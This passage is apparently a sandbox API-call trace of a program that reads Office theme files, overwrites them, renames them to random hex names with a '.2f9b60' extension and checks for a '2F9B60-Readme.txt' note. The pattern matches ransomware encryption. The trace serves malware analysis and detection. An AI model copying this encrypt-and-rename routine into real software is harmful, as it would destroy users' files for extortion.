(lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad6b0) returned 1 [0124.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106dc0) returned 1 Thread: id = 1432 os_tid = 0x18b4 [0119.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml")) returned 0x20 [0120.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml", dwFileAttributes=0x20) returned 1 [0120.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x170c [0120.965] GetFileSizeEx (in: hFile=0x170c, lpFileSize=0x4009f900 | out: lpFileSize=0x4009f900*=3616) returned 1 [0120.965] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0xe1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.965] ReadFile (in: hFile=0x170c, lpBuffer=0x4009f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4009f8c8, lpOverlapped=0x0 | out: lpBuffer=0x4009f880*, lpNumberOfBytesRead=0x4009f8c8*=0x4, lpOverlapped=0x0) returned 1 [0121.465] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0121.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76e0 [0121.465] NtQuerySystemTime (in: CurrentTime=0x4009f7c0 | out: CurrentTime=0x4009f7c0*=132462177268666000) returned 0x0 [0121.465] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x6327694c [0121.465] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x1f3dd240 [0121.465] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x28f461a1 [0121.465] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x36bf1f40 [0121.465] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x74e38751 [0121.465] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x2dff0274 [0121.465] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x5e389065 [0121.465] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x9e06b1 [0121.465] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x1f68ab00 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x158af614 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x1f3dd240 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x73a7862f [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x5b08b5c6 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x1643f290 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0xa3e1d4b [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x4bb537f4 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x7662a5f [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x1866af77 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x72e5fd1a [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x7f439191 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x4078704b [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x554b9427 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x573d2136 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x76c5cc37 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x185ccc4d [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x708a7282 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x17990c5d [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x3ca9cf07 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x659f9d [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x5e389065 [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x35d7223a [0121.466] RtlRandomEx (in: Seed=0x4009f7b0 | out: Seed=0x4009f7b0) returned 0x4da7373f [0124.463] ReadFile (in: hFile=0x170c, lpBuffer=0x41b79560, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x4009f7b0, lpOverlapped=0x0 | out: lpBuffer=0x41b79560*, lpNumberOfBytesRead=0x4009f7b0*=0xe20, lpOverlapped=0x0) returned 1 [0124.463] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.464] WriteFile (in: hFile=0x170c, lpBuffer=0x1ce73da0*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x4009f7b4, lpOverlapped=0x0 | out: lpBuffer=0x1ce73da0*, lpNumberOfBytesWritten=0x4009f7b4*=0xe20, lpOverlapped=0x0) returned 1 [0124.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0124.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261250 [0124.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261250) returned 1 [0124.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0124.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b79560) returned 1 [0124.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504d10) returned 1 [0124.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0124.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda05f0 [0124.533] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.533] WriteFile (in: hFile=0x170c, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x4009f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x4009f8d0*=0x116, lpOverlapped=0x0) returned 1 [0124.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ad0 [0124.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ad0) returned 1 [0124.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced7ad0 [0124.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0124.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0124.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7410) returned 1 [0124.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9c2b0 [0124.592] sprintf (in: _Dest=0x1cd9c2b0, _Format="%c%c" | out: _Dest="42") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2b2, _Format="%c%c" | out: _Dest="e4") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2b4, _Format="%c%c" | out: _Dest="8d") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2b6, _Format="%c%c" | out: _Dest="06") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2b8, _Format="%c%c" | out: _Dest="10") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2ba, _Format="%c%c" | out: _Dest="ca") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2bc, _Format="%c%c" | out: _Dest="af") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2be, _Format="%c%c" | out: _Dest="26") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2c0, _Format="%c%c" | out: _Dest="69") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2c2, _Format="%c%c" | out: _Dest="e4") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2c4, _Format="%c%c" | out: _Dest="81") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2c6, _Format="%c%c" | out: _Dest="0e") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2c8, _Format="%c%c" | out: _Dest="cf") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2ca, _Format="%c%c" | out: _Dest="7d") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2cc, _Format="%c%c" | out: _Dest="50") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2ce, _Format="%c%c" | out: _Dest="69") returned 2 [0124.592] sprintf (in: _Dest=0x1cd9c2d0, _Format="%c%c" | out: _Dest="5b") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2d2, _Format="%c%c" | out: _Dest="74") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2d4, _Format="%c%c" | out: _Dest="ed") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2d6, _Format="%c%c" | out: _Dest="80") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2d8, _Format="%c%c" | out: _Dest="5d") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2da, _Format="%c%c" | out: _Dest="45") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2dc, _Format="%c%c" | out: _Dest="f7") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2de, _Format="%c%c" | out: _Dest="5d") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2e0, _Format="%c%c" | out: _Dest="ab") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2e2, _Format="%c%c" | out: _Dest="05") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2e4, _Format="%c%c" | out: _Dest="90") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2e6, _Format="%c%c" | out: _Dest="52") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2e8, _Format="%c%c" | out: _Dest="f4") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2ea, _Format="%c%c" | out: _Dest="6b") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2ec, _Format="%c%c" | out: _Dest="5a") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2ee, _Format="%c%c" | out: _Dest="19") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2f0, _Format="%c%c" | out: _Dest="e2") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2f2, _Format="%c%c" | out: _Dest="09") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2f4, _Format="%c%c" | out: _Dest="cd") returned 2 [0124.593] sprintf (in: _Dest=0x1cd9c2f6, _Format="%c%c" | out: _Dest="0c") returned 2 [0124.593] RtlInitAnsiString (in: DestinationString=0x4009f948, SourceString="42e48d0610caaf2669e4810ecf7d50695b74ed805d45f75dab059052f46b5a19e209cd0c" | out: DestinationString="42e48d0610caaf2669e4810ecf7d50695b74ed805d45f75dab059052f46b5a19e209cd0c") [0124.593] RtlAnsiStringToUnicodeString (in: DestinationString=0x4009f918, SourceString="42e48d0610caaf2669e4810ecf7d50695b74ed805d45f75dab059052f46b5a19e209cd0c", AllocateDestinationString=1 | out: DestinationString="42e48d0610caaf2669e4810ecf7d50695b74ed805d45f75dab059052f46b5a19e209cd0c") returned 0x0 [0124.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x2027baf0 [0124.593] wcscat (in: _Dest=0x107780, _Source="42e48d0610caaf2669" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42e48d0610caaf2669") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42e48d0610caaf2669" [0124.593] wcscat (in: _Dest=0x107780, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42e48d0610caaf2669.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42e48d0610caaf2669.2f9b60" [0124.593] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42e48d0610caaf2669.2f9b60", NtPathName=0x4009f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\42e48d0610caaf2669.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1b776770 [0125.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0125.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.037] NtQueryInformationFile (in: FileHandle=0x170c, IoStatusBlock=0x4009f958, FileInformation=0x4009f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4009f958, FileInformation=0x4009f968) returned 0x0 [0125.037] NtSetInformationFile (FileHandle=0x170c, IoStatusBlock=0x4009f958, FileInformation=0x4009f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027baf0) returned 1 [0125.038] FlushFileBuffers (hFile=0x170c) returned 1 [0125.048] CloseHandle (hObject=0x170c) returned 1 [0125.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad340 [0125.050] wcscpy (in: _Dest=0x202ad340, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0125.050] wcscat (in: _Dest=0x202ad340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0125.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0125.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad340) returned 1 [0125.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ace70) returned 1 Thread: id = 1433 os_tid = 0x18b8 [0119.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml")) returned 0x20 [0120.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml", dwFileAttributes=0x20) returned 1 [0120.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1054 [0120.985] GetFileSizeEx (in: hFile=0x1054, lpFileSize=0x3fc6fbe0 | out: lpFileSize=0x3fc6fbe0*=3613) returned 1 [0120.985] SetFilePointerEx (in: hFile=0x1054, liDistanceToMove=0xe19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.985] ReadFile (in: hFile=0x1054, lpBuffer=0x3fc6fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fc6fba8, lpOverlapped=0x0 | out: lpBuffer=0x3fc6fb60*, lpNumberOfBytesRead=0x3fc6fba8*=0x4, lpOverlapped=0x0) returned 1 [0121.268] SetFilePointerEx (in: hFile=0x1054, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7050 [0121.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7020 [0121.269] NtQuerySystemTime (in: CurrentTime=0x3fc6faa0 | out: CurrentTime=0x3fc6faa0*=132462177266638000) returned 0x0 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x4c8c8c4e [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x34725b56 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x2a9656b7 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x5c1e5637 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x50e6ad3f [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x4aac1e88 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x28d2a305 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x16ea751 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x594e6b4c [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x73bd5174 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x25d0e3f3 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x2476b9e8 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x474d2e1f [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x704c18ca [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x61dd5401 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x20769cbf [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x2f199900 [0121.269] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x664e81c3 [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x6cb5881e [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x532b54b1 [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x26434df8 [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x704f60f4 [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x4a487e07 [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x357eec1f [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x2195acc0 [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x787ab942 [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x4f44844e [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x30302e3f [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x3a6aea3f [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x5cb0458b [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x52b7777c [0121.270] RtlRandomEx (in: Seed=0x3fc6fa90 | out: Seed=0x3fc6fa90) returned 0x4f1808d2 [0124.446] ReadFile (in: hFile=0x1054, lpBuffer=0x41c71d40, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x3fc6fa90, lpOverlapped=0x0 | out: lpBuffer=0x41c71d40*, lpNumberOfBytesRead=0x3fc6fa90*=0xe1d, lpOverlapped=0x0) returned 1 [0124.446] SetFilePointerEx (in: hFile=0x1054, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.446] WriteFile (in: hFile=0x1054, lpBuffer=0x41b2a520*, nNumberOfBytesToWrite=0xe1d, lpNumberOfBytesWritten=0x3fc6fa94, lpOverlapped=0x0 | out: lpBuffer=0x41b2a520*, lpNumberOfBytesWritten=0x3fc6fa94*=0xe1d, lpOverlapped=0x0) returned 1 [0166.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2090 [0166.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1eb0 [0166.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1eb0) returned 1 [0166.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b2a520) returned 1 [0166.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c71d40) returned 1 [0166.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504490) returned 1 [0166.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd979e0) returned 1 [0166.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a1eb0 [0166.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd979e0 [0166.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504490 [0166.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ee0 [0166.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ee0) returned 1 [0166.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a1ee0 [0166.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1f40 [0166.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1f10 [0166.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1f10) returned 1 [0166.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504490) returned 1 [0166.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd979e0) returned 1 [0166.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16f70 [0166.107] SetFilePointerEx (in: hFile=0x1054, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.108] WriteFile (in: hFile=0x1054, lpBuffer=0x42c16f70*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3fc6fbb0, lpOverlapped=0x0 | out: lpBuffer=0x42c16f70*, lpNumberOfBytesWritten=0x3fc6fbb0*=0x108, lpOverlapped=0x0) returned 1 [0200.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb780 [0200.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb780) returned 1 [0200.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0200.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb780 [0200.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb750 [0200.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb750) returned 1 [0200.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d8240 [0200.103] sprintf (in: _Dest=0x1b7d8240, _Format="%c%c" | out: _Dest="71") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8242, _Format="%c%c" | out: _Dest="9e") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8244, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8246, _Format="%c%c" | out: _Dest="be") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8248, _Format="%c%c" | out: _Dest="90") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d824a, _Format="%c%c" | out: _Dest="04") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d824c, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d824e, _Format="%c%c" | out: _Dest="d4") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8250, _Format="%c%c" | out: _Dest="46") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8252, _Format="%c%c" | out: _Dest="d0") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8254, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8256, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8258, _Format="%c%c" | out: _Dest="f1") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d825a, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d825c, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d825e, _Format="%c%c" | out: _Dest="72") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8260, _Format="%c%c" | out: _Dest="86") returned 2 [0200.103] sprintf (in: 